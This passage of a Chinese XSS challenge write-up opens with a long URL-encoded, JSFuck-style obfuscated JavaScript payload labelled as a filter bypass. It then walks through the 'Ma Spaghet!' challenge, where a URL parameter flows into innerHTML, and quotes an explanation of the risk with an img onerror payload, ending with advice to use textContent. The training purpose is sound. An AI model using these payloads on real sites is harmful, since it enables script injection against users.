2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%2B%5B%2B!%2B%5B%5D%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%5D(!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)%2B(!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D)()((!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B!%2B%5B%5D%5D%2B(!!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B%5D%5B%5B%5D%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D%2B%5B%2B!%2B%5B%5D%5D%2B(%5B%2B%5B%5D%5D%2B!%5B%5D%2B%5B%5D%5B(!%5B%5D%2B%5B%5D)%5B%2B%5B%5D%5D%2B(%5B!%5B%5D%5D%2B%5B%5D%5B%5B%5D%5D)%5B%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%2B(!%5B%5D%2B%5B%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%5D%5D)%5B!%2B%5B%5D%2B!%2B%5B%5D%2B%5B%2B%5B%5D%5D%5D)
    绕过!!!

  • 7.10 Ma Spaghet!

  • <h2 id="spaghet"></h2>
    <script>
        spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
    </script>
  • 从上面可以看出,我们的url中需要有somebody这样一个参数,如果有就get获取它,如果没有,默认值为somebody后面连接一个字符串,这里需要对innerHtml有一个比较清楚的认识。
  • InnerHtml

  • 当给 innerHTML 设置一个值的时候到底发生了什么?用户代理按照以下步骤:
    
    给定的值被解析为 HTML 或者 XML (取决于文档类型),
    结果就是 DocumentFragment 对象代表元素新设置的 DOM 节点。
    
    如果元素内容被替换成 <template>  元素,
    <template> 元素的 content 属性会被替换为步骤1中创建的新的 DocumentFragment。
    对于其他所有元素,元素的内容都被替换为新的 DocumentFragment节点。
  • 安全问题

  • innerHTML 插入文本到网页中并不罕见。但这有可能成为网站攻击的媒介,从而产生潜在的安全风险问题。
  • const name = "John";
    // assuming 'el' is an HTML DOM element
    el.innerHTML = name; // harmless in this case
    
    // ...
    
    name = "<script>alert('I am John in an annoying alert!')</script>";
    el.innerHTML = name; // harmless in this case
  • 尽管这看上去像 cross-site scripting 攻击,结果并不会导致什么。HTML 5 中指定不执行由 innerHTML 插入的 <script>标签。
  • 然而,有很多不依赖<script> 标签去执行 JavaScript 的方式。所以当你使用innerHTML 去设置你无法控制的字符串时,这仍然是一个安全问题。例如:
  • const name = "<img src='x' onerror='alert(1)'>";
    el.innerHTML = name; // shows the alert
  • 基于这个原因,当插入纯文本时,建议不要使用 innerHTML 。取而代之的是使用 Node.textContent它不会把给定的内容解析为 HTML,它仅仅是将原始文本插入给定的位置。
;